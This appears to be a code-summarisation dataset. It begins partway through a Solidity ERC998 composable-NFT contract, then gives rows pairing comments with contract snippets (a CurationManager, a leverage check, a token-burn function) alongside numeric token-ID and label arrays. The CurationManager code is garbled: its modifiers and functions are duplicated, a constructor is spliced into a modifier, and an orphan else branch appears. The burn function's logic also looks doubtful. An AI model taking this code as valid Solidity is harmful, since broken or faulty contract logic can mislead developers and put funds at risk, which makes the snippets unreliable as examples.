this next since we know the tokenOwner isn't this contract // and just in case we did loop through our own contract // check whether the parentTokenId is valid, or the token is owned by a Contract/EOA if (isParent == false) { // there is no parent token only a parent contract/ EOA // we have to check both branches // check if it is a contract if (Address.isContract(tokenOwner)) { // yes it is a contract but there is no parent token // owned by just the contract // since no parentToken, is this contract a TopDown composable // which receives, transfers, and manages ERC721 tokens/bottom up composables _isERC998ERC721TopDown = ERC165Checker.supportsInterface( tokenOwner, _INTERFACE_ID_ERC998ERC721TOPDOWN ); // if it is a TopDown contract we can query it for information if (_isERC998ERC721TopDown) { // true it is a top down contract // we can further query who the root owner is // by calling the rootOwnerOfChild function on the contract _topDownContract = IERC998ERC721TopDown(tokenOwner); return _topDownContract.rootOwnerOfChild( address(this), _tokenId ); } else { // this is not a Top Down composable contract return (ERC998_MAGIC_VALUE | addressToBytes32(tokenOwner)); } } else { // It is owned by a EOA account return (ERC998_MAGIC_VALUE | addressToBytes32(tokenOwner)); } } else { // _tokenId does have a parent token and it's in tokenOwner // meaning either it is a topdown/bottomup/ or regular ERC721 // we have to check who the parent token is owned by // get the supported interfaces at once in a batch bytes4[] memory _interfacesLookup = new bytes4[](3); _interfacesLookup[0] = _INTERFACE_ID_ERC998ERC721TOPDOWN; _interfacesLookup[1] = _INTERFACE_ID_ERC998ERC721BOTTOMUP; _interfacesLookup[2] = _INTERFACE_ID_ERC721; bool[] memory _supportedInterfaces = getSupportedInterfaces(tokenOwner, _interfacesLookup); // assign whether they support the interface (_isERC998ERC721TopDown, _isERC998ERC721BottomUp, _isERC721) = ( _supportedInterfaces[0], _supportedInterfaces[1], _supportedInterfaces[2] ); if (_isERC998ERC721TopDown) { // yes it is a Top Down contract // this is the easiest we just call the rootOwnerOf // to see who the parent is of our token's parent _topDownContract = IERC998ERC721TopDown(tokenOwner); return _topDownContract.rootOwnerOf(parentTokenId); } else if (_isERC998ERC721BottomUp) { // the contract is a bottom up contract // similar to above we call the root owner of // to see who the parent is of our token's parent _bottomUpContract = IERC998ERC721BottomUp(tokenOwner); return _bottomUpContract.rootOwnerOf(parentTokenId); } else if (_isERC721) { // this is interesting, our token's parent token is // in an ERC721 contract, and has no awareness of having // our token attached to it // we have to see who the owner of the parent token is // the parent token can be owned by an EOA or a topdown composable contract // first we have to query who owns the parent token in the ERC721 contract _ERC721Contract = IERC721(tokenOwner); // set the new tokenOwner to be the address that owns the parent token tokenOwner = _ERC721Contract.ownerOf(parentTokenId); // now we check who owns the parent token if (Address.isContract(tokenOwner)) { // its owned by a contract // is it a top down contract? _isERC998ERC721TopDown = ERC165Checker .supportsInterface( tokenOwner, _INTERFACE_ID_ERC998ERC721TOPDOWN ); if (_isERC998ERC721TopDown) { // yes our parent token is owned by a // top down contract we can query who the // root owner is from there _topDownContract = IERC998ERC721TopDown(tokenOwner); // can't use tokenOwner because that is now the ERC998Top down // contract which we are calling return _topDownContract.rootOwnerOfChild( address(_ERC721Contract), parentTokenId ); } else { // parent token is owned by an unknown contract return (ERC998_MAGIC_VALUE | addressToBytes32(tokenOwner)); } } else { // its owned by an EOA return (ERC998_MAGIC_VALUE | addressToBytes32(tokenOwner)); } } } } else { // false owned by a contract // check openzeppelin notice // not 100% this is an EOA // Case 5: Token owner is a user return (ERC998_MAGIC_VALUE | addressToBytes32(tokenOwner)); } } function _tokenOwnerOf(uint256 _tokenId) internal view returns ( address tokenOwner, uint256 parentTokenId, bool isParent ) { tokenOwner = tokenIdToTokenOwner[_tokenId].tokenOwner; require(tokenOwner != address(0)); parentTokenId = tokenIdToTokenOwner[_tokenId].parentTokenId; if (parentTokenId > 0) { // The value in the struct is (parentTokenId + 1) isParent = true; parentTokenId = parentTokenId.sub(1); } else { isParent = false; } return (tokenOwner, parentTokenId, isParent); } /// @notice Get the owner address and parent token (if there is one) of a token /// @param _tokenId The tokenId to query. /// @return tokenOwner The owner address of the token /// @return parentTokenId The parent owner of the token and ERC998 magic value /// @return isParent True if parentTokenId is a valid parent tokenId and false if there is no parent tokenId function tokenOwnerOf(uint256 _tokenId) external view override returns ( bytes32 tokenOwner, uint256 parentTokenId, bool isParent ) { address _tokenOwner; (_tokenOwner, parentTokenId, isParent) = _tokenOwnerOf(_tokenId); return ( (ERC998_MAGIC_VALUE | addressToBytes32(_tokenOwner)), parentTokenId, isParent ); } /// @notice Transfer token from owner address to a token /// @param _from The owner address /// @param _toContract The ERC721 contract of the receiving token /// @param _toTokenId The receiving token /// @param _tokenId The token to transfer /// @param _data Additional data with no specified format function transferToParent( address _from, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes calldata _data ) external override { // require the token exists require(_exists(_tokenId)); // disallow transferring to the zero address require(_toContract != address(0)); // this function assumes we are transferring to a contract require(Address.isContract(_toContract)); // get the _tokenId's owner information (address tokenOwner, uint256 parentTokenId, bool isParent) = _tokenOwnerOf(_tokenId); // if _tokenId is owned by another token // disallow transferring because only the parent can require(isParent == false); // must be transfering from the owning parent contract/address, can't transfer a token a parent doesn't own require(tokenOwner == _from); // require the parent token exists // since we are transferring to a NFT contract require(IERC721(_toContract).ownerOf(_toTokenId) != address(0)); // get the address that is approved to move the token address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; bool _isERC998ERC721TopDown; IERC998ERC721TopDown _topDownContract; // if the caller isn't who we are transferring the token from if (msg.sender != _from) { // require the msg.sender has permission to transfer the token // or is an operator for _from account require( tokenOwnerToOperators[_from][msg.sender] || approvedAddress == msg.sender ); // can be either self or another contract // check if it is a top down composable _isERC998ERC721TopDown = ERC165Checker.supportsInterface( _from, _INTERFACE_ID_ERC998ERC721TOPDOWN ); // if the owner address of the token is Top Down // should call that contract's transferChild function require(!_isERC998ERC721TopDown); } // clear approval // this will alse clear the approval when _from == msg.sender // which makes sense as the approval should be reset during a // transfer before the new owner gets the token if (approvedAddress != address(0)) { rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId] = address(0); emit Approval(_from, address(0), _tokenId); } // remove and transfer token if (_from != _toContract) { // if the ownerAddress doesn't equal the recipient // sometimes you want to transfer a token to a new parenttoken at the same contract // if that is the case don't run this assert(tokenOwnerToTokenCount[_from] > 0); // this should never happen tokenOwnerToTokenCount[_from] = tokenOwnerToTokenCount[_from].sub( 1 ); tokenOwnerToTokenCount[_toContract] = tokenOwnerToTokenCount[ _toContract ] .add(1); } // create a tokenOwner struct TokenOwner memory parentToken = TokenOwner(_toContract, _toTokenId.add(1)); // overwrite value currently held tokenIdToTokenOwner[_tokenId] = parentToken; // add _tokenId to parentToken's set of tokens parentToChildTokenIds[_toContract][_toTokenId].add(_tokenId); // set the token index in the parentToChildTokenIds mapping tokenIdToChildTokenIdsIndex[_tokenId] = parentToChildTokenIds[_toContract][_toTokenId].length() - 1; _transfer(_from, _toContract, _tokenId); emit TransferToParent(_toContract, _toTokenId, _tokenId); } /// @notice Transfer token from a token to an address /// @param _fromContract The address of the owning contract /// @param _fromTokenId The owning token /// @param _to The address the token is transferred to. /// @param _tokenId The token that is transferred /// @param _data Additional data with no specified format function transferFromParent( address _fromContract, uint256 _fromTokenId, address _to, uint256 _tokenId, bytes calldata _data ) external override { // get the _tokenId's owner information (address tokenOwner, uint256 parentTokenId, bool isParent) = _tokenOwnerOf(_tokenId); require(tokenOwner == _fromContract); require(_to != address(0)); require(isParent); require(parentTokenId == _fromTokenId); _authenticateAndClearApproval(_tokenId); // remove and transfer token // if the _fromContract isn't the recipient if (_fromContract != _to) { assert(tokenOwnerToTokenCount[_fromContract] > 0); tokenOwnerToTokenCount[_fromContract] = tokenOwnerToTokenCount[ _fromContract ] .sub(1); tokenOwnerToTokenCount[_to] = tokenOwnerToTokenCount[_to].add(1); } tokenIdToTokenOwner[_tokenId].tokenOwner = _to; tokenIdToTokenOwner[_tokenId].parentTokenId = 0; parentToChildTokenIds[_fromContract][_fromTokenId].remove(_tokenId); delete tokenIdToChildTokenIdsIndex[_tokenId]; if (Address.isContract(_to)) { bytes4 retval = IERC721Receiver(_to).onERC721Received( msg.sender, _fromContract, _tokenId, _data ); require(retval == ERC721_RECEIVED); } _transfer(_fromContract, _to, _tokenId); emit TransferFromParent(_fromContract, _fromTokenId, _tokenId); } function _authenticateAndClearApproval(uint256 _tokenId) private { // get the root owner of a token address rootOwner = address(uint256(_rootOwnerOf(_tokenId) & ADDRESS_MASK)); // get who is approved to move the token address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || approvedAddress == msg.sender ); // clear approval if (approvedAddress != address(0)) { rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] = address( 0 ); emit Approval(rootOwner, address(0), _tokenId); } } /// @notice Transfer a token from a token to another token /// @param _fromContract The address of the owning contract /// @param _fromTokenId The owning token /// @param _toContract The ERC721 contract of the receiving token /// @param _toTokenId The receiving token /// @param _tokenId The token that is transferred /// @param _data Additional data with no specified format function transferAsChild( address _fromContract, uint256 _fromTokenId, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes calldata _data ) external override { // get the _tokenId's owner information (address tokenOwner, uint256 parentTokenId, bool isParent) = _tokenOwnerOf(_tokenId); require(tokenOwner == _fromContract); // tokenOwner must equal fromContract require(_toContract != address(0)); // can't burn the token require(isParent); // No parent token to transfer from require(parentTokenId == _fromTokenId); require(IERC721(_toContract).ownerOf(_toTokenId) != address(0)); address rootOwner = address(uint256(_rootOwnerOf(_tokenId) & ADDRESS_MASK)); // get the rootOwner of the token // get the address approved to send the token // address approvedAddress = // rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; // require the msg.sender be approved to manage the token require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] == msg.sender ); // clear approval ahead of transferrring the token if ( rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] != address(0) ) { delete rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; emit Approval(rootOwner, address(0), _tokenId); } // remove and transfer token if (_fromContract != _toContract) { assert(tokenOwnerToTokenCount[_fromContract] > 0); tokenOwnerToTokenCount[_fromContract] = tokenOwnerToTokenCount[ _fromContract ] .sub(1); tokenOwnerToTokenCount[_toContract] = tokenOwnerToTokenCount[ _toContract ] .add(1); } TokenOwner memory _tokenOwner = TokenOwner(_toContract, _toTokenId); // set the new token owner tokenIdToTokenOwner[_tokenId] = _tokenOwner; parentToChildTokenIds[_fromContract][_fromTokenId].remove(_tokenId); delete tokenIdToChildTokenIdsIndex[_tokenId]; //add to parentToChildTokenIds parentToChildTokenIds[_toContract][_toTokenId].add(_tokenId); tokenIdToChildTokenIdsIndex[_tokenId] = parentToChildTokenIds[_toContract][_toTokenId].length() - 1; _transfer(_fromContract, _toContract, _tokenId); emit TransferFromParent(_fromContract, _fromTokenId, _tokenId); emit TransferToParent(_toContract, _toTokenId, _tokenId); } /// @notice Get the number of ERC721 tokens owned by parent token. /// @param _parentContract The contract the parent ERC721 token is from. /// @param _parentTokenId The parent tokenId that owns tokens /// @return uint256 The number of ERC721 tokens owned by parent token. function totalChildTokens(address _parentContract, uint256 _parentTokenId) external view override returns (uint256) { return parentToChildTokenIds[_parentContract][_parentTokenId].length(); } /// @notice Get a child token by index /// @param _parentContract The contract the parent ERC721 token is from. /// @param _parentTokenId The parent tokenId that owns the token /// @param _index The index position of the child token /// @return uint256 The child tokenId owned by the parent token function childTokenByIndex( address _parentContract, uint256 _parentTokenId, uint256 _index ) external view override returns (uint256) { require( parentToChildTokenIds[_parentContract][_parentTokenId].length() > _index ); return parentToChildTokenIds[_parentContract][_parentTokenId].at(_index); } }
set the new token owner
tokenIdToTokenOwner[_tokenId] = _tokenOwner;
12,660,656
[ 1, 542, 326, 394, 1147, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1147, 28803, 1345, 5541, 63, 67, 2316, 548, 65, 273, 389, 2316, 5541, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0xd7149865d07cCfdfB10f858AFAb297A8251882Cc/sources/contracts/api/Positions.sol
Check if leverage is above minimum leverage
uint256 leverage = (UNIT * position.size) / position.margin;
11,525,770
[ 1, 1564, 309, 884, 5682, 353, 5721, 5224, 884, 5682, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 884, 5682, 273, 261, 15736, 380, 1754, 18, 1467, 13, 342, 1754, 18, 10107, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xa5Bd044222b1D2CafdAa9C7F82210127900d25bc/sources/SHOPPINGmodX44.sol
* @dev Burns 10 percent of additionl tokens locked in the contract./ Calculate 10% of tokens (locked in contract) and burn them. Add burned amount to statistic variable of already burned tokens.
function Burn10percentOfLockedTokens() public authorized { uint256 _supplyToBurn = address(this).balance; if (_supplyToBurn > 0) { uint256 _supplyToBurn10percent = _supplyToBurn.mul(10).div(100); _burn(address(this),_supplyToBurn10percent); _alreadyBurnedTokens = _alreadyBurnedTokens.add(_supplyToBurn10percent); emit Transfer(address(this), address(0), _supplyToBurn10percent); } }
3,425,833
[ 1, 38, 321, 87, 1728, 5551, 434, 2719, 80, 2430, 8586, 316, 326, 6835, 18, 19, 9029, 1728, 9, 434, 2430, 261, 15091, 316, 6835, 13, 471, 18305, 2182, 18, 1436, 18305, 329, 3844, 358, 21605, 2190, 434, 1818, 18305, 329, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 605, 321, 2163, 8849, 951, 8966, 5157, 1435, 1071, 10799, 288, 203, 3639, 2254, 5034, 389, 2859, 1283, 774, 38, 321, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 3639, 309, 261, 67, 2859, 1283, 774, 38, 321, 405, 374, 13, 288, 203, 5411, 2254, 5034, 389, 2859, 1283, 774, 38, 321, 2163, 8849, 273, 389, 2859, 1283, 774, 38, 321, 18, 16411, 12, 2163, 2934, 2892, 12, 6625, 1769, 203, 5411, 389, 70, 321, 12, 2867, 12, 2211, 3631, 67, 2859, 1283, 774, 38, 321, 2163, 8849, 1769, 203, 5411, 389, 17583, 38, 321, 329, 5157, 273, 389, 17583, 38, 321, 329, 5157, 18, 1289, 24899, 2859, 1283, 774, 38, 321, 2163, 8849, 1769, 203, 5411, 3626, 12279, 12, 2867, 12, 2211, 3631, 1758, 12, 20, 3631, 389, 2859, 1283, 774, 38, 321, 2163, 8849, 1769, 203, 5411, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x0e8a0f5C064341Fc066EFb4f1F3e9db2035BBE2e/sources/src/CurationManager.sol
@title CurationManager @notice Facilitates on-chain curation of a dynamic array of ethereum addresses dynamic array of ethereum addresss where curation listings are stored ethereum address -> curator address mapping title of curation contract intitalizing curation pass used to gate curation functionality public bool that freezes all curation activity for curators public bool that freezes all curation activity for both contract owner + curators caps length of listings array. unlimited curation limit if set to 0 checks if _msgSender has a curation pass
contract CurationManager is Context { error Access_MissingPass(); error Access_Unauthorized(); error Inactive(); error Finalized(); error ListingAlreadyExists(); error CurationLimitExceeded(); event ListingAdded(address indexed curator, address indexed listingAddress); event ListingRemoved( address indexed curator, address indexed listingAddress ); event TitleUpdated(address indexed sender, string title); event CurationPassUpdated(address indexed sender, address curationPass); event CurationLimitUpdated(address indexed sender, uint256 curationLimit); event CurationPaused(address sender); event CurationResumed(address sender); event CurationFinalized(address sender); address[] public listings; mapping(address => address) public listingCurators; string public title; IERC721 public curationPass; bool public isActive; bool public isFinalized = false; uint256 public curationLimit; pragma solidity ^0.8.13; modifier onlyCurator() { if (curationPass.balanceOf(_msgSender()) == 0) { revert Access_MissingPass(); } _; } modifier onlyCurator() { if (curationPass.balanceOf(_msgSender()) == 0) { revert Access_MissingPass(); } _; } modifier onlyIfActive() { if (isActive == false) { revert Inactive(); } _; } modifier onlyIfActive() { if (isActive == false) { revert Inactive(); } _; } modifier onlyIfFinalized() { if (isFinalized == true) { revert Finalized(); } _; } modifier onlyIfFinalized() { if (isFinalized == true) { revert Finalized(); } _; } modifier onlyIfLimit() { if (curationLimit != 0 && listings.length == curationLimit) { revert CurationLimitExceeded(); } _; } constructor( string memory _title, IERC721 _curationPass, uint256 _curationLimit, bool _isActive modifier onlyIfLimit() { if (curationLimit != 0 && listings.length == curationLimit) { revert CurationLimitExceeded(); } _; } constructor( string memory _title, IERC721 _curationPass, uint256 _curationLimit, bool _isActive ) { title = _title; curationPass = _curationPass; curationLimit = _curationLimit; isActive = _isActive; if (isActive == true) { emit CurationResumed(_msgSender()); emit CurationPaused(_msgSender()); } } ) { title = _title; curationPass = _curationPass; curationLimit = _curationLimit; isActive = _isActive; if (isActive == true) { emit CurationResumed(_msgSender()); emit CurationPaused(_msgSender()); } } } else { function addListing(address listing) external onlyIfActive onlyCurator onlyIfLimit { if (listingCurators[listing] != address(0)) { revert ListingAlreadyExists(); } require( listing != address(0), "listing address cannot be the zero address" ); listingCurators[listing] = _msgSender(); listings.push(listing); emit ListingAdded(_msgSender(), listing); } function addListing(address listing) external onlyIfActive onlyCurator onlyIfLimit { if (listingCurators[listing] != address(0)) { revert ListingAlreadyExists(); } require( listing != address(0), "listing address cannot be the zero address" ); listingCurators[listing] = _msgSender(); listings.push(listing); emit ListingAdded(_msgSender(), listing); } function removeListing(address listing) external onlyIfActive onlyCurator { if (listingCurators[listing] != _msgSender()) { revert Access_Unauthorized(); } delete listingCurators[listing]; removeByValue(listing); emit ListingRemoved(_msgSender(), listing); } function removeListing(address listing) external onlyIfActive onlyCurator { if (listingCurators[listing] != _msgSender()) { revert Access_Unauthorized(); } delete listingCurators[listing]; removeByValue(listing); emit ListingRemoved(_msgSender(), listing); } function viewAllListings() external view returns (address[] memory) { return listings; } function find(address value) internal view returns (uint256) { uint256 i = 0; while (listings[i] != value) { i++; } return i; } function find(address value) internal view returns (uint256) { uint256 i = 0; while (listings[i] != value) { i++; } return i; } function removeByIndex(uint256 index) internal { if (index >= listings.length) return; for (uint256 i = index; i < listings.length - 1; i++) { listings[i] = listings[i + 1]; } listings.pop(); } function removeByIndex(uint256 index) internal { if (index >= listings.length) return; for (uint256 i = index; i < listings.length - 1; i++) { listings[i] = listings[i + 1]; } listings.pop(); } function removeByValue(address value) internal { uint256 i = find(value); removeByIndex(i); } }
3,751,437
[ 1, 39, 872, 1318, 225, 12618, 330, 305, 815, 603, 17, 5639, 662, 367, 434, 279, 5976, 526, 434, 13750, 822, 379, 6138, 5976, 526, 434, 13750, 822, 379, 1758, 87, 1625, 662, 367, 666, 899, 854, 4041, 13750, 822, 379, 1758, 317, 662, 639, 1758, 2874, 2077, 434, 662, 367, 6835, 509, 7053, 6894, 662, 367, 1342, 1399, 358, 12611, 662, 367, 14176, 1071, 1426, 716, 4843, 94, 281, 777, 662, 367, 5728, 364, 662, 3062, 1071, 1426, 716, 4843, 94, 281, 777, 662, 367, 5728, 364, 3937, 6835, 3410, 397, 662, 3062, 15788, 769, 434, 666, 899, 526, 18, 640, 21325, 662, 367, 1800, 309, 444, 358, 374, 4271, 309, 389, 3576, 12021, 711, 279, 662, 367, 1342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 385, 872, 1318, 353, 1772, 288, 203, 203, 565, 555, 5016, 67, 4841, 6433, 5621, 203, 203, 565, 555, 5016, 67, 13981, 5621, 203, 203, 565, 555, 657, 3535, 5621, 203, 203, 565, 555, 16269, 1235, 5621, 203, 203, 565, 555, 987, 310, 16686, 5621, 203, 203, 565, 555, 385, 872, 3039, 10069, 5621, 203, 203, 565, 871, 987, 310, 8602, 12, 2867, 8808, 662, 639, 16, 1758, 8808, 11591, 1887, 1769, 203, 203, 565, 871, 987, 310, 10026, 12, 203, 3639, 1758, 8808, 662, 639, 16, 203, 3639, 1758, 8808, 11591, 1887, 203, 565, 11272, 203, 203, 565, 871, 10984, 7381, 12, 2867, 8808, 5793, 16, 533, 2077, 1769, 203, 203, 565, 871, 385, 872, 6433, 7381, 12, 2867, 8808, 5793, 16, 1758, 662, 367, 6433, 1769, 203, 203, 565, 871, 385, 872, 3039, 7381, 12, 2867, 8808, 5793, 16, 2254, 5034, 662, 367, 3039, 1769, 203, 203, 565, 871, 385, 872, 28590, 12, 2867, 5793, 1769, 203, 203, 565, 871, 385, 872, 607, 379, 329, 12, 2867, 5793, 1769, 203, 203, 565, 871, 